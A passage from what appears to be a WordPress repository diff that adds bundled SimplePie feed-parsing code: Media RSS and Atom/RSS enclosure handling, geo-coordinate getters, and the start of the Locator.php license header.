+								if (is_array($hashes))
+								{
+									$hashes = array_values(array_unique($hashes));
+								}
+							}
+							else
+							{
+								$hashes = $hashes_parent;
+							}
+
+							// KEYWORDS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+							{
+								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+								{
+									$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+									foreach ($temp as $word)
+									{
+										$keywords[] = trim($word);
+									}
+									unset($temp);
+								}
+								if (is_array($keywords))
+								{
+									$keywords = array_values(array_unique($keywords));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+							{
+								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+								{
+									$temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+									foreach ($temp as $word)
+									{
+										$keywords[] = trim($word);
+									}
+									unset($temp);
+								}
+								if (is_array($keywords))
+								{
+									$keywords = array_values(array_unique($keywords));
+								}
+							}
+							else
+							{
+								$keywords = $keywords_parent;
+							}
+
+							// PLAYER
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+							{
+								$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+							{
+								$player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							else
+							{
+								$player = $player_parent;
+							}
+
+							// RATINGS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+								{
+									$rating_scheme = null;
+									$rating_value = null;
+									if (isset($rating['attribs']['']['scheme']))
+									{
+										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$rating_scheme = 'urn:simple';
+									}
+									if (isset($rating['data']))
+									{
+										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+								}
+								if (is_array($ratings))
+								{
+									$ratings = array_values(array_unique($ratings));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+								{
+									$rating_scheme = null;
+									$rating_value = null;
+									if (isset($rating['attribs']['']['scheme']))
+									{
+										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$rating_scheme = 'urn:simple';
+									}
+									if (isset($rating['data']))
+									{
+										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+								}
+								if (is_array($ratings))
+								{
+									$ratings = array_values(array_unique($ratings));
+								}
+							}
+							else
+							{
+								$ratings = $ratings_parent;
+							}
+
+							// RESTRICTIONS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+								{
+									$restriction_relationship = null;
+									$restriction_type = null;
+									$restriction_value = null;
+									if (isset($restriction['attribs']['']['relationship']))
+									{
+										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['attribs']['']['type']))
+									{
+										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['data']))
+									{
+										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+								}
+								if (is_array($restrictions))
+								{
+									$restrictions = array_values(array_unique($restrictions));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+								{
+									$restriction_relationship = null;
+									$restriction_type = null;
+									$restriction_value = null;
+									if (isset($restriction['attribs']['']['relationship']))
+									{
+										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['attribs']['']['type']))
+									{
+										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($restriction['data']))
+									{
+										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+								}
+								if (is_array($restrictions))
+								{
+									$restrictions = array_values(array_unique($restrictions));
+								}
+							}
+							else
+							{
+								$restrictions = $restrictions_parent;
+							}
+
+							// THUMBNAILS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+								{
+									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+								}
+								if (is_array($thumbnails))
+								{
+									$thumbnails = array_values(array_unique($thumbnails));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+								{
+									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+								}
+								if (is_array($thumbnails))
+								{
+									$thumbnails = array_values(array_unique($thumbnails));
+								}
+							}
+							else
+							{
+								$thumbnails = $thumbnails_parent;
+							}
+
+							// TITLES
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+							{
+								$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+							{
+								$title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							else
+							{
+								$title = $title_parent;
+							}
+
+							$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
+						}
+					}
+				}
+			}
+
+			// If we have standalone media:content tags, loop through them.
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
+			{
+				foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+				{
+					if (isset($content['attribs']['']['url']) || isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+					{
+						// Attributes
+						$bitrate = null;
+						$channels = null;
+						$duration = null;
+						$expression = null;
+						$framerate = null;
+						$height = null;
+						$javascript = null;
+						$lang = null;
+						$length = null;
+						$medium = null;
+						$samplingrate = null;
+						$type = null;
+						$url = null;
+						$width = null;
+
+						// Elements
+						$captions = null;
+						$categories = null;
+						$copyrights = null;
+						$credits = null;
+						$description = null;
+						$hashes = null;
+						$keywords = null;
+						$player = null;
+						$ratings = null;
+						$restrictions = null;
+						$thumbnails = null;
+						$title = null;
+
+						// Start checking the attributes of media:content
+						if (isset($content['attribs']['']['bitrate']))
+						{
+							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['channels']))
+						{
+							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['duration']))
+						{
+							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$duration = $duration_parent;
+						}
+						if (isset($content['attribs']['']['expression']))
+						{
+							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['framerate']))
+						{
+							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['height']))
+						{
+							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['lang']))
+						{
+							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['fileSize']))
+						{
+							$length = ceil($content['attribs']['']['fileSize']);
+						}
+						if (isset($content['attribs']['']['medium']))
+						{
+							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['samplingrate']))
+						{
+							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['type']))
+						{
+							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['width']))
+						{
+							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['url']))
+						{
+							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+						// CAPTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(array_unique($captions));
+							}
+						}
+						else
+						{
+							$captions = $captions_parent;
+						}
+
+						// CATEGORIES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+							}
+						}
+						if (is_array($categories) && is_array($categories_parent))
+						{
+							$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
+						}
+						elseif (is_array($categories))
+						{
+							$categories = array_values(array_unique($categories));
+						}
+						elseif (is_array($categories_parent))
+						{
+							$categories = array_values(array_unique($categories_parent));
+						}
+						else
+						{
+							$categories = null;
+						}
+
+						// COPYRIGHTS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+						}
+						else
+						{
+							$copyrights = $copyrights_parent;
+						}
+
+						// CREDITS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(array_unique($credits));
+							}
+						}
+						else
+						{
+							$credits = $credits_parent;
+						}
+
+						// DESCRIPTION
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$description = $description_parent;
+						}
+
+						// HASHES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(array_unique($hashes));
+							}
+						}
+						else
+						{
+							$hashes = $hashes_parent;
+						}
+
+						// KEYWORDS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(array_unique($keywords));
+							}
+						}
+						else
+						{
+							$keywords = $keywords_parent;
+						}
+
+						// PLAYER
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						else
+						{
+							$player = $player_parent;
+						}
+
+						// RATINGS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(array_unique($ratings));
+							}
+						}
+						else
+						{
+							$ratings = $ratings_parent;
+						}
+
+						// RESTRICTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(array_unique($restrictions));
+							}
+						}
+						else
+						{
+							$restrictions = $restrictions_parent;
+						}
+
+						// THUMBNAILS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(array_unique($thumbnails));
+							}
+						}
+						else
+						{
+							$thumbnails = $thumbnails_parent;
+						}
+
+						// TITLES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$title = $title_parent;
+						}
+
+						$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
+					}
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+				}
+			}
+
+			if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure'))
+			{
+				if (isset($enclosure[0]['attribs']['']['url']))
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0]));
+					if (isset($enclosure[0]['attribs']['']['type']))
+					{
+						$type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($enclosure[0]['attribs']['']['length']))
+					{
+						$length = ceil($enclosure[0]['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+				}
+			}
+
+			if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width))
+			{
+				// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+				$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
+			}
+
+			$this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
+		}
+		if (!empty($this->data['enclosures']))
+		{
+			return $this->data['enclosures'];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the latitude coordinates for the item
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:lat>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_latitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the longitude coordinates for the item
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_longitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the `<atom:source>` for the item
+	 *
+	 * @since 1.1
+	 * @return SimplePie_Source|null
+	 */
+	public function get_source()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source'))
+		{
+			return $this->registry->create('Source', array($this, $return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Locator.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Locator.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Locator.php	(revision 33402)
@@ -0,0 +1,372 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
